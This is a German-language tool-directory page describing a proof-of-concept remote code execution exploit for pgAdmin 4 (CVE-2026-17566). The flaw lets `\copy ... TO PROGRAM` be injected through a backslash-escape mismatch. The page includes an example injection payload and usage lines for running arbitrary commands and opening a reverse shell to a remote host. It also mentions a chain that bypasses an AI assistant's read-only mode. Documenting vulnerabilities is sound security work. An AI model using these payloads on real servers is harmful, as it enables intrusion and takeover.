Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-17566 — pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC – TO-Programm-Injection durch Backslash-Escape-Diskrepanz | Kitploit
Tools/GitHubGitHub/hackspeak/cve-2026-17566
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstests
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 Import/Export RCE (CVE-2026-17566) PoC – TO-Programm-Injection durch Backslash-Escape-Diskrepanz

Repository anzeigen
11vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

Remote-Code-Execution-PoC für das Import/Export-Data-Tool von pgAdmin 4. Nutzt die Diskrepanz zwischen dem Klammerprüfer _is_query_parens_balanced() und psqls Backslash-Escaping-Semantik, um \copy ... TO PROGRAM einzuschleusen und beliebige Befehle auf dem Server auszuführen, auf dem pgAdmin läuft.

Hintergrund-Angriffskette: CVE-2026-17349 (Workspaces-Credential-Leak) → CVE-2026-17351 (AI-Assistant-Read-only-Bypass) → diese Schwachstelle (RCE). Alle drei erfordern lediglich einen authentifizierten Benutzer mit niedrigen Rechten.

Kurzbeschreibung der Schwachstelle

Das Import/Export-Data-Tool fügt die SQL-Abfrage des Benutzers in ein Jinja-Template ein, um einen psql \copy (...)-Befehl zu konstruieren. Der handgeschriebene Klammerbalance-Prüfer behandelt \' stets als escapetes Anführungszeichen (was nur bei standard_conforming_strings=off korrekt ist); da PostgreSQL standardmäßig verwendet, , sodass das Anführungszeichen direkt geschlossen wird.

standard_conforming_strings=on
behandelt psql den Backslash als normales Zeichen
root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

Der Prüfer geht davon aus, dass sich ) noch innerhalb des Strings befindet → die Klammern gelten als „balanciert"; psql schließt den String bei a\', ) beendet die \copy (...)-Klammer, und TO PROGRAM 'cmd' wird zu einem aktiven Befehl, der von psqls popen() ausgeführt wird.

  • CWE: CWE-78 (OS-Befehlsinjektion) / CWE-115 (Fehlinterpretation von Eingaben)
  • CVSS: 9.9 (CVSS 3.1) / 9.4 (CVSS 4.0), Scope-Änderung, niedrige Rechte + keine Interaktion
  • Betroffen: pgAdmin 4 < 9.18 (seit Einführung von _is_query_parens_balanced()); Fix-Commit 1496fabe
  • Verwandt: CVE-2025-12762 / CVE-2025-13780 (psql-TO PROGRAM-Injektion, gleiche Familie)
  • Entdecker: Arpit Jain (arpitjain099)

Voraussetzungen

  • Authentifizierter pgAdmin-Benutzer mit niedrigen Rechten (mit tools_import_export_data-Berechtigung)
  • Netzwerkerreichbarer pgAdmin-Dienst
  • Ziel ist pgAdmin 4 < 9.18 und das Import/Export-Tool ist verfügbar

Verwendung

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555
ParameterBeschreibung
--urlBasis-URL von pgAdmin
--user / --password (oder PGADMIN_PASSWORD)Konto mit niedrigen Rechten
--commandBeliebiger Befehl (darf keine einfachen Anführungszeichen enthalten)
--reverse HOST:PORTErzeugt eine Bash-Reverse-Shell
--server-idServer-ID (standardmäßig automatisch der erste)
--fileExportdateiname (für die Konstruktion des \copy-Befehls, standardmäßig /tmp/pgadmin_export.csv)
--no-verifyTLS-Zertifikatsprüfung überspringen

Ablauf: Anmelden (CSRF/Session werden automatisch behandelt) → Server auflisten → POST /import_export/job/<sid> mit konstruierter is_query_export-Anfrage senden.

⚠️ Haftungsausschluss

Nur für Sicherheitsforschung, Schwachstellenverifizierung und defensive Tests. Dieses Skript wurde auf Grundlage öffentlicher technischer Analysen erstellt und nicht an echten Systemen verifiziert; die Anfragefelder müssen möglicherweise an die jeweilige pgAdmin-Version angepasst werden. Bitte nur in autorisierten Testumgebungen ausführen und nicht gegen nicht autorisierte Systeme verwenden.

Zuordnung und Referenzen

  • Dieses Repository ist ein unabhängig erstellter PoC (MIT-Lizenz), technisch basierend auf öffentlich zugänglichen Informationen
  • Offizielles Issue #10213: Fehlerhafte Backslash-Semantik im Klammerprüfer
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • Fix-Commit: 1496fabe
Tool herunterladen